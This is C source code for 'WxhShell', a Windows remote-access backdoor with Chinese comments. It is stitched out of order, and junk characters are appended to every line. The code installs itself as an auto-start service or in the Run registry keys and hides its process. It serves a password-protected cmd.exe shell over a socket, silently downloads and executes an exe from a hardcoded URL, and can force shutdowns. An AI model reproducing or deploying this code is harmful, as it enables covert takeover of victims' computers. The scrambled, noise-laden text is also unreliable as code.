    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vHaM yA-  
    else { *,u3Wm|7  
    closesocket(wsh); {i;,Io7 W  
    ExitThread(0); j cd<'\;  
    } manw;`Q  
    break; kBUkE-~  
    } I| TNo-!$  
  // 获取shell >a3m!`lq  
  case 's': { "&(/bdah?&  
    CmdShell(wsh); |3$E w.  
    closesocket(wsh); m\teE]8x  
    ExitThread(0); (Tx_`rO4VY  
    break; 3Tr,waV  
  } ~DH 9iB  
  // 退出 GrF4*I`q  
  case 'x': { }n)0}U5;0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?;~!C2Zs  
    CloseIt(wsh); w4 yrAj 2  
    break; #.8v[TkKq  
    } 5:PS74/  
  // 离开 Lf_Y4a#  
  case 'q': { =OufafZb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y7G sL7I  
    closesocket(wsh); ;<~f-D,  
    WSACleanup(); 2gWR2 H@  
    exit(1); @@R Mm$  
    break; k?=1q[RQH  
        } sRB=<E*_  
  } AKk=XAGW  
  } 7_~sa{1R.  
LhG\)>Y%  
  // 提示信息 F .S^KK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `2>p#`  
} `%YMUBaI  
  } [kg^S`gc#  
Xg~9<BGsi  
  return; 'Agw~ &$  
} ,#;hI{E  
QN*|_H@h  
// shell模块句柄 AojL4H|  
int CmdShell(SOCKET sock) MKbcJZe  
{ F{mUxo#T  
STARTUPINFO si; /? %V% n  
ZeroMemory(&si,sizeof(si)); 'VV U-)(8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yPE3Awh5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l/3=o}8q  
PROCESS_INFORMATION ProcessInfo; 97Dq;  
char cmdline[]="cmd"; h6k" D4o\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )\yK61aX  
  return 0; A=kOSq 4Q  
} +'8a>K^  
(IV\s Y  
// 自身启动模式 ZH~bY2^;  
int StartFromService(void) J4+WF#xI2  
{ Y. J!]|  
typedef struct Bq$IBAot  
{ rp\`uj*D  
  DWORD ExitStatus; 0n:cmML )D  
  DWORD PebBaseAddress; ;6@sC[  
  DWORD AffinityMask; 89>}`:xS^  
  DWORD BasePriority; )bM,>x  
  ULONG UniqueProcessId; <ll?rPio"  
  ULONG InheritedFromUniqueProcessId; mr7Oi `dE  
}   PROCESS_BASIC_INFORMATION; ]Y?Y$>  
U4 *u|A  
PROCNTQSIP NtQueryInformationProcess; N.mRay,  
r10VFaly  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gcnX^[`S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7;+G)44  
nA0%M1a  
  HANDLE             hProcess; SY|K9$M^  
  PROCESS_BASIC_INFORMATION pbi; ]I)ofXu]  
\ Bj{.jL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?j8!3NCl}  
  if(NULL == hInst ) return 0; T1q27I  
zG$5g^J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %16Lo<DPm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F.U@8lr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T9R# .y,  
eP" B3Jw  
  if (!NtQueryInformationProcess) return 0; W`PJ flr|  
3!8(A/YP;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \dCGu~bT  
  if(!hProcess) return 0; `Pc6 G*p  
S3/%;=|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HnArj_E  
T^Ia^B-%}g  
  CloseHandle(hProcess); $F^VtCx2&  
<oJ?J^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?fH1?Z\'K  
if(hProcess==NULL) return 0; 7LU^Xm8  
"LTw;& y  
HMODULE hMod; 2$Xof  
char procName[255]; QL8C!&=  
unsigned long cbNeeded; IDn<5#  
y>}r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |` ~ioF  
k Nc- @B  
  CloseHandle(hProcess); @]q^O MLY  
C IMI?  
if(strstr(procName,"services")) return 1; // 以服务启动 Hk;;+'-  
}Q4Vy  
  return 0; // 注册表启动 QTBc_Z  
} x)=l4A\  
7YD+zd:  
// 主模块 FbroI>"e  
int StartWxhshell(LPSTR lpCmdLine) OW#0$%f  
{ .Pj<Pe  
  SOCKET wsl; N#Rb8&G)b  
BOOL val=TRUE; yVnG+R&  
  int port=0; 7P2n{zd,  
  struct sockaddr_in door; lGr=I-=  
}O7sP^  
  if(wscfg.ws_autoins) Install(); ;>mM9^Jaf  
]}lt^7\=  
port=atoi(lpCmdLine); ?Fx~_GT  
OY}FtG y  
if(port<=0) port=wscfg.ws_port; =S{OzF  
! DOyOTR&3  
  WSADATA data; ZN#b5I2Pf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :=y5713  
~D3 S01ecM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0zNbux_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &*>.u8:r  
  door.sin_family = AF_INET; V3ozaVk;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Q a 0  
  door.sin_port = htons(port); FA*$ dwp  
F8Ety^9>9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r|UJJ9i  
closesocket(wsl); =_pSfKR;  
return 1; g_cED15  
} f2x!cL|Kx?  
xx!8cvD4?  
  if(listen(wsl,2) == INVALID_SOCKET) { AMjr[!44 @  
closesocket(wsl); ]TT >3"Dw7  
return 1; R?iCJ5m  
} `;Tf_6c  
  Wxhshell(wsl); |&8XmexLb  
  WSACleanup(); v|(]u3=1_  
E#+2)Q  
return 0; %CHw+wT&  
r\Y,*e  
} r{v3 XD/  
uQvTir*e  
// 以NT服务方式启动 ?Vd~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) neM.M)0  
{ rQ{|0+l  
DWORD   status = 0; qm!cv;}c1  
  DWORD   specificError = 0xfffffff; ={%'tv`  
^nNY| *  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~\JB)ca.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; THhxj)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $B-/>Rz  
  serviceStatus.dwWin32ExitCode     = 0; )). =MTk  
  serviceStatus.dwServiceSpecificExitCode = 0; e-y$&[  
  serviceStatus.dwCheckPoint       = 0; tV(iC~/  
  serviceStatus.dwWaitHint       = 0; 76rv$z{g^  
#aL.E(%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'Hx#DhiFz  
  if (hServiceStatusHandle==0) return; 8%CznAO"?W  
[T_[QU:A  
status = GetLastError(); ~|Vq v{  
  if (status!=NO_ERROR) 'O)v@p "  
{ w{DU<e:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "<0!S~]  
    serviceStatus.dwCheckPoint       = 0; Y^Buz<OiG  
    serviceStatus.dwWaitHint       = 0; 3R< r[3WP  
    serviceStatus.dwWin32ExitCode     = status; `3\U9ZH23  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^$P_B-C N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E>QS^)ih  
    return; o4p5`jOG@  
  } 5%2~/ "  
4A@HR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0bh 6ay4  
  serviceStatus.dwCheckPoint       = 0; =? !FO'zt"  
  serviceStatus.dwWaitHint       = 0; ~$6` e:n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .\oW@2,RA9  
} \@Cz 32wg  
I*TTD]e'X  
// 处理NT服务事件,比如:启动、停止 0x~+=GUN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?VotIruR  
{ mH$`)i8  
switch(fdwControl) ,]0BmlD  
{ (nLzWvN  
case SERVICE_CONTROL_STOP: _UTN4z2aTG  
  serviceStatus.dwWin32ExitCode = 0; 3\Xk)a_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,M`1 k  
  serviceStatus.dwCheckPoint   = 0; ]zj#X\  
  serviceStatus.dwWaitHint     = 0; |Jx:#OM  
  { &I-:=ir  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z{3`nd,  
  } >6Pe~J5,:  
  return; G_=i#Tu[  
case SERVICE_CONTROL_PAUSE: ef*Z;HI0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'yH  
  break; f`ibP6%  
case SERVICE_CONTROL_CONTINUE: 392(N(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @:w^j0+h  
  break; UBW,Q+Q  
case SERVICE_CONTROL_INTERROGATE: !j7mY9x+  
  break; Q3i\`-kbb  
}; 02EX_tt),  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )kjQ W&)g  
} '['%b  
kO`!!M[Oo  
// 标准应用程序主函数 2|?U%YrHWs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) uy2~<)  
{ F/J s K&&  
=k d-rIBc  
// 获取操作系统版本 =4+2y '  
OsIsNt=GetOsVer(); vxf09v{-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3>3t(M |  
K+ /wJ9^B  
  // 从命令行安装 =W')jKe0  
  if(strpbrk(lpCmdLine,"iI")) Install(); b&E"r*i|  
^vh!1"T  
  // 下载执行文件 Tr>_R%bK  
if(wscfg.ws_downexe) { vO?sHh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zytW3sTZA  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z/ml ,4e  
} z+oy#p6+F.  
_t]Q*i0p  
if(!OsIsNt) { rg[#(  
// 如果时win9x,隐藏进程并且设置为注册表启动 uUp>N^mmVH  
HideProc(); KgYQxEbIW  
StartWxhshell(lpCmdLine); tol-PJS}  
} `yl|N L  
else bhDqRM  
  if(StartFromService()) dL'oIBp  
  // 以服务方式启动 Cs"ivET  
  StartServiceCtrlDispatcher(DispatchTable); ]7,0>  
else kn$SG  
  // 普通方式启动 66B,Krz1n  
  StartWxhshell(lpCmdLine); i\ 7JQZ  
Z! /_H($  
return 0; JI-.SR  
} ?gAwMP(>  
V`/c#y||  
$pPc}M[h  
&<&eKq  
=========================================== {LKW%G7  
`:ZaT('h  
3&[d.,/  
t#f-3zd9  
0%rE*h9+  
It'kO jx]  
" AVz907h8  
HYdt3GtJ?  
#include <stdio.h> @QpL*F  
#include <string.h> RK&RMN8@  
#include <windows.h> ,Cm1~ExJ  
#include <winsock2.h> b H5lLcdf  
#include <winsvc.h> 3# 0Nd"/0  
#include <urlmon.h> Ea" -n9  
UY *Z`$  
#pragma comment (lib, "Ws2_32.lib") 'g<FL`iP  
#pragma comment (lib, "urlmon.lib") q2Sc{E>[  
M_$;"NS+}  
#define MAX_USER   100 // 最大客户端连接数 Xa'b @*o&  
#define BUF_SOCK   200 // sock buffer #8vl2qWbi  
#define KEY_BUFF   255 // 输入 buffer #K-O<:s=y  
`P|V&;}K  
#define REBOOT     0   // 重启 _w <6o<@  
#define SHUTDOWN   1   // 关机 Sng3B  
8v^AVg  
#define DEF_PORT   5000 // 监听端口 {9F}2 SJ  
PEtr8J$uB  
#define REG_LEN     16   // 注册表键长度 ygV-Fv>PQ  
#define SVC_LEN     80   // NT服务名长度 `ST;";7!  
T-oUcuQB  
// 从dll定义API C91'dM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rh@UxNy\,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k^UrFl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KAy uv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); caTKi8  
a\ MJh+K  
// wxhshell配置信息 8Sf}z@~]  
struct WSCFG { .'1]2/ad  
  int ws_port;         // 监听端口 w*Ze5j4@ \  
  char ws_passstr[REG_LEN]; // 口令 VRv.H8^{  
  int ws_autoins;       // 安装标记, 1=yes 0=no `LTD|0;  
  char ws_regname[REG_LEN]; // 注册表键名 51s3hX$  
  char ws_svcname[REG_LEN]; // 服务名 EF6"PH+J@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $L]E< gWrP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :7qJ[k{g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gln X C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8;,(D# p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 59_VC('  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -A"0mS8L  
te3\MSv;O  
}; a/q8vP  
=fK F#^E@  
// default Wxhshell configuration \z-OJ1[F  
struct WSCFG wscfg={DEF_PORT, "SwM%j  
    "xuhuanlingzhe", EhIa31>X  
    1, Y]}>he1/5  
    "Wxhshell", "4QD\k5  
    "Wxhshell", VSc)0eyn  
            "WxhShell Service", kkV* #IZ  
    "Wrsky Windows CmdShell Service",  B}h8c  
    "Please Input Your Password: ", ;MKfssG  
  1, <:0d%YB)  
  "http://www.wrsky.com/wxhshell.exe", Jy#2 1  
  "Wxhshell.exe" u6p nO  
    }; c6F8z75U  
p~t5PU*(  
// 消息定义模块 F!6;< !&h  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oIY@xuj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ')v<MqBr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TSYe ~)I  
char *msg_ws_ext="\n\rExit."; rWzO> v  
char *msg_ws_end="\n\rQuit."; \]p[DYBY#  
char *msg_ws_boot="\n\rReboot..."; -*"Q-GO  
char *msg_ws_poff="\n\rShutdown..."; JclG*/Wjg4  
char *msg_ws_down="\n\rSave to "; gl"1;C  
7{DSLKtN  
char *msg_ws_err="\n\rErr!"; }?z_sNrDk  
char *msg_ws_ok="\n\rOK!"; ! ^U!T\qDi  
,~xX[uB  
char ExeFile[MAX_PATH]; }^3ICwzm  
int nUser = 0; hQDZ%>  
HANDLE handles[MAX_USER]; Ft$tL;  
int OsIsNt; w^aI1M50  
YumHECej  
SERVICE_STATUS       serviceStatus; ]$a,/Jt  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [n;GP@A ]R  
5"&{Egc_  
// 函数声明 zJa,kN|m  
int Install(void); roG f &  
int Uninstall(void); x3?:"D2  
int DownloadFile(char *sURL, SOCKET wsh); B[6y2+6$0  
int Boot(int flag); 3a]Omuu|=  
void HideProc(void); h4dT N}  
int GetOsVer(void); OQm-BL   
int Wxhshell(SOCKET wsl); /tGj`C&qtw  
void TalkWithClient(void *cs); YF<;s^&@u  
int CmdShell(SOCKET sock); bMpCQ  
int StartFromService(void); F~_)auH  
int StartWxhshell(LPSTR lpCmdLine); jZvQMW  
yzQ^KqLH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^(8(z@y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z39I*-6F9W  
ir*T ,O 2J  
// 数据结构和表定义 8 m T..23  
SERVICE_TABLE_ENTRY DispatchTable[] = g<r'f"^  
{ 92HxZ*t7km  
{wscfg.ws_svcname, NTServiceMain}, 6~j.S "  
{NULL, NULL} 3d@$iAw1<  
}; BVpRkUC"  
#RwqEZ  
// 自我安装 m;"i4!  
int Install(void) 4-:TQp(  
{ : {Crc   
  char svExeFile[MAX_PATH]; g[~"c}  
  HKEY key; gM<*(=x'  
  strcpy(svExeFile,ExeFile); V=,VOw4  
Kqt,sJ  
// 如果是win9x系统,修改注册表设为自启动 ^K K6 d  
if(!OsIsNt) { s*U~Q=Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >b.wk3g@>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Iv5 agh%  
  RegCloseKey(key); C r~!N|(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YQI&8~z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AW+ q#Is  
  RegCloseKey(key); Ux Yb[Nbc  
  return 0; u~9gR@e2{  
    } ag$mc8-p[  
  } n"1LVJN7  
} 7]~65@%R-&  
else { P'4jz&4  
)NwIEk>Tf  
// 如果是NT以上系统,安装为系统服务 c?NXX&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "c6(=FFq  
if (schSCManager!=0) y:N QLL>  
{ t6u01r{~`  
  SC_HANDLE schService = CreateService 5Y\wXqlY  
  ( ? D?XaRb  
  schSCManager, av&4:O!  
  wscfg.ws_svcname, _O-ZII~  
  wscfg.ws_svcdisp, NiwJ$Ah~X  
  SERVICE_ALL_ACCESS, vElVw. P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2<*DL 6  
  SERVICE_AUTO_START, :Qg3B ';  
  SERVICE_ERROR_NORMAL, "]dNN{Wka  
  svExeFile, R~$W  
  NULL, (YbRYu  
  NULL, KMxP%dV/=  
  NULL, 94umk*ib  
  NULL, |uT&`0T'e`  
  NULL ptS1d$  
  ); f*VBSg[`  
  if (schService!=0) /N`l z>^~  
  { 2\xv Yf-  
  CloseServiceHandle(schService); *;~*S4/P   
  CloseServiceHandle(schSCManager); i>n.r_!E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9Se7 1  
  strcat(svExeFile,wscfg.ws_svcname); f((pRP   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K; 7o+Xr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tp='PG.6  
  RegCloseKey(key); ^<8 c`k )e  
  return 0; [/}y!;3iXM  
    } Md9b_&'  
  } edh?I1/  
  CloseServiceHandle(schSCManager); v(v Lk\K7  
} paUlp7x  
} KWVEAHIn  
JfmNI~%  
return 1; F)we^'X  
} @_tQ:U,v  
%ec9`0^4S  
// 自我卸载 HSk gS  
int Uninstall(void) =X(8 [ e  
{ ?j^[7  
  HKEY key; mJ=3faM  
+?[ ,y  
if(!OsIsNt) { !c`K zqP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x&6SjlDb$K  
  RegDeleteValue(key,wscfg.ws_regname); <_HK@E<_HO  
  RegCloseKey(key); 4WV'\R+m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FhZ^/= As  
  RegDeleteValue(key,wscfg.ws_regname); B!|<<;Da6  
  RegCloseKey(key); (R _#lRaQ  
  return 0; (3YI>/#  
  } tn-_3C  
} PiD%PBmUl  
} \#P>k;D  
else { 8Wn;U!qT  
,6,sz]3-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -c-#1_X5  
if (schSCManager!=0) )J?Nfi%  
{ sd;J(<Ofh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2%YtMkC5  
  if (schService!=0) L-}>;M$Y)  
  { {EKzPr/  
  if(DeleteService(schService)!=0) { E|ce[|2  
  CloseServiceHandle(schService); R;9H`L/>  
  CloseServiceHandle(schSCManager); N=J$+  
  return 0; )D ^.{70N  
  } SST1vzm!  
  CloseServiceHandle(schService); 2ZMYA=[!  
  } l0Myem v?z  
  CloseServiceHandle(schSCManager); 7\sJ=*  
} nJJ9>#<g$  
} P q\m8iS,w  
Mg H,"G  
return 1; / ,3,l^kZ  
} +*2wGAT  
dmHpF\P5f  
// 从指定url下载文件 tETT\y|'  
int DownloadFile(char *sURL, SOCKET wsh) Si,[7um  
{ 90)0\i+P  
  HRESULT hr; F+A"-k_\T#  
char seps[]= "/"; t+'|&b][Qi  
char *token; w%=GdA=  
char *file; i>!7/o  
char myURL[MAX_PATH]; ,?Pn-aC +  
char myFILE[MAX_PATH]; %T]NM3|U  
Ekx3GM_]  
strcpy(myURL,sURL); SFrQPdX6V  
  token=strtok(myURL,seps); K~"J<798{  
  while(token!=NULL) v,Lv4)  
  { e)dPv:oK3  
    file=token; kTG4h@w  
  token=strtok(NULL,seps); Mq-QWx"P  
  } ("{JNA/  
/.<tC(  
GetCurrentDirectory(MAX_PATH,myFILE); ^6!C":f  
strcat(myFILE, "\\"); =[8EQdR  
strcat(myFILE, file); fY@Y$S`Fh  
  send(wsh,myFILE,strlen(myFILE),0); iOpMU  
send(wsh,"...",3,0); _@CY_`a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {9sA'5  
  if(hr==S_OK) QFOmnbJg  
return 0; ^|^ek  
else %,$Ms?,n`  
return 1; %4#,y(dO  
$mvcqn;  
} O)nLV~X  
)3<|<jwcx  
// 系统电源模块 ji(W+tQ2Y'  
int Boot(int flag) Q3MG+@)S  
{ 5Hvg%g-c  
  HANDLE hToken; Bw-<xwD  
  TOKEN_PRIVILEGES tkp; z-|gw.y  
c"BFkw  
  if(OsIsNt) { y6.}h9~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jf0D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [r'PGx  
    tkp.PrivilegeCount = 1; nU]n]gd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DDkH`R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w~J 7|8Y  
if(flag==REBOOT) { m1@ste;$W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j-wSsjLk  
  return 0; ~l$u~:4Ob  
} &$yC +cf  
else { x`8rR;N!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wyu$J  
  return 0; 4\'1j|nS[  
} PI{;3X}9$,  
  } b%`^KEvwfo  
  else { j^ L"l;m  
if(flag==REBOOT) { )N[9r{3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dQ6:c7hp>D  
  return 0; 0$)CWah  
} M@$}Og  
else { D BDHe-1[+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hE>ux"_2/  
  return 0; KL:x!GsV5e  
} :^7P. lhK  
} yOKpi&! r  
4W7  
return 1; 6*`KC)a  
} Jt79M(Hp!  
RlH|G  
// win9x进程隐藏模块 DG& ({vy  
void HideProc(void) VC%{qal;q  
{ /Q h  
MD(?Wh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \)Sa!XLfT  
  if ( hKernel != NULL ) wQR>S>p  
  { "`P/j+-rt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3IXai)6U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H;('h#=cD  
    FreeLibrary(hKernel); P%?|V _m  
  } HUF],[N  
H4%2"w6|!  
return; BJGL &N  
} YyOPgF] M  
Dep.Qfv{-  
// 获取操作系统版本 wf47Ulx  
int GetOsVer(void) YbaaX{7^  
{ &)UZ9r`z  
  OSVERSIONINFO winfo; eqvbDva^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !|!k9~v!  
  GetVersionEx(&winfo); WXJEAje  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z(Styn/x  
  return 1; \ G}02h  
  else )xJCH9h  
  return 0; UQq ,Xq  
} l&rS\TCkp  
ODvlix  
// 客户端句柄模块 k'O^HMAn!  
int Wxhshell(SOCKET wsl) 0,1x- yD  
{ O~3<P3W  
  SOCKET wsh; 7Mx F? I  
  struct sockaddr_in client; ?`9XFE~a!  
  DWORD myID; xBba&A]=  
71euRIW'5  
  while(nUser<MAX_USER) Hzm<KQ g  
{  |tK_Bn  
  int nSize=sizeof(client); ;E,^bt<U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UB%Zq1D|t  
  if(wsh==INVALID_SOCKET) return 1; 0r<?Ve  
s &4k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -PfBL8  
if(handles[nUser]==0) ?vA)F)MS   
  closesocket(wsh); h%4aL38  
else YUGE>"{  
  nUser++; n6AN  
  } !H)$_d \uj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]~a;tF>Fw  
2@TgeV0Y[  
  return 0; y!z2+q2  
} )FLDCer  
EY$Dtb+g8  
// 关闭 socket DIqM\ ><  
void CloseIt(SOCKET wsh) RIC\f_Dv  
{ KU]co4]8^s  
closesocket(wsh); QR+xPY~  
nUser--; ! qVuhad.  
ExitThread(0); ON(OYXj  
} (-}:'5|Yj  
V/.Na(C~  
// 客户端请求句柄 Zr(4Q9fDo  
void TalkWithClient(void *cs) )2z<5 `  
{ DB~3(r?K  
ddTsR  
  SOCKET wsh=(SOCKET)cs; L/J1;  
  char pwd[SVC_LEN]; nrBpq  
  char cmd[KEY_BUFF]; h+gaKh=k+  
char chr[1]; G_m$?0\  
int i,j; fMpxe(  
J# >)+  
  while (nUser < MAX_USER) { [ Xa,|  
&nV/XLpG  
if(wscfg.ws_passstr) { T\ *#9a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =l)D$l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TS_5R>R3  
  //ZeroMemory(pwd,KEY_BUFF); ._E 6?  
      i=0; (HEi;  
  while(i<SVC_LEN) { ]Cc3}+(s  
d/8p?Km  
  // 设置超时 12i<b  
  fd_set FdRead; }s7@0#j@a  
  struct timeval TimeOut; 3u 'VPF2  
  FD_ZERO(&FdRead); FNN7[ku!  
  FD_SET(wsh,&FdRead); QkFB \v  
  TimeOut.tv_sec=8; v~*Co}0OB  
  TimeOut.tv_usec=0; m >Rdsn~l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =.`:jZG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !+k);;.+  
xA'RO-a}h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w4Uo-zr@  
  pwd=chr[0]; } =p e;l  
  if(chr[0]==0xd || chr[0]==0xa) { <(!~s><.  
  pwd=0; FUP0X2P   
  break; *V`E)maU  
  } B:>>D/O  
  i++; q)l1tC72  
    } +=`*`eP:U  
tCR#TW+IY-  
  // 如果是非法用户,关闭 socket zH13 ~\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); * lJkk  
} Ak dx1h,  
3Q#Tut  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h]]B @~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x MFo  
R0#'t+7^  
while(1) { ]IclA6  
F-X L  
  ZeroMemory(cmd,KEY_BUFF); fB)S:f|  
O@>ZYA%  
      // 自动支持客户端 telnet标准   YfstE3BV  
  j=0; ]Pl Ly:(  
  while(j<KEY_BUFF) { dC/@OV)0#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FfC\uuRe  
  cmd[j]=chr[0]; ]i/Bq!d l  
  if(chr[0]==0xa || chr[0]==0xd) { kxLWk%V  
  cmd[j]=0; ;lQ>>[*  
  break; a0jzt!ci  
  } `)tIXMn  
  j++; O9*l6^Scw  
    } 0iV~MQZ(  
2xBYJoF(  
  // 下载文件 )&$mFwf  
  if(strstr(cmd,"http://")) { )!lx'>0>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _l+8[\v  
  if(DownloadFile(cmd,wsh)) z+K1[1SM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vawS5b;  
  else }Oq P`B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n}dLfg *  
  } -br): }f  
  else { B"rO  
MJA;P7g  
    switch(cmd[0]) { *mz-g7  
  ]wUH*\(y  
  // 帮助 P VSz%"  
